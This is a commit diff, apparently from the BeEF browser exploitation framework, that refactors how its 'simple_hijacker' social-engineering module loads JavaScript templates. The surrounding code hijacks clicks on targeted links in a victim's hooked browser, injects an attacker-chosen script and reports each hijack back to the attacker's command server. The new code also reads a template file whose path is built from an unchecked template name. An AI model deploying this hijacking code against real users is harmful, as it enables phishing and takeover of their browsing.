Change stupid code that made this module unusable with the API to something less stupid (i hope)
This commit is contained in:
@@ -24,7 +24,13 @@ hijack = function(){
|
||||
if ($j(this).attr('href') != '')
|
||||
{
|
||||
if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{
|
||||
<%= instance_variable_get("@#{@choosetmpl}") %>
|
||||
<%
|
||||
tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js"
|
||||
file = File.open(tplpath, "r")
|
||||
@template = file.read
|
||||
%>
|
||||
|
||||
<%= @template %>
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -29,8 +29,6 @@ class Simple_hijacker < BeEF::Core::Command
|
||||
@templates.each{ |template|
|
||||
tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{template}.js"
|
||||
raise "Invalid template path for command template #{template}" if not File.exists?(tplpath)
|
||||
file = File.open(tplpath, "r")
|
||||
data.push({'name' => template, 'type' => 'hidden', 'value' => file.read})
|
||||
tmptpl<<[ template]
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user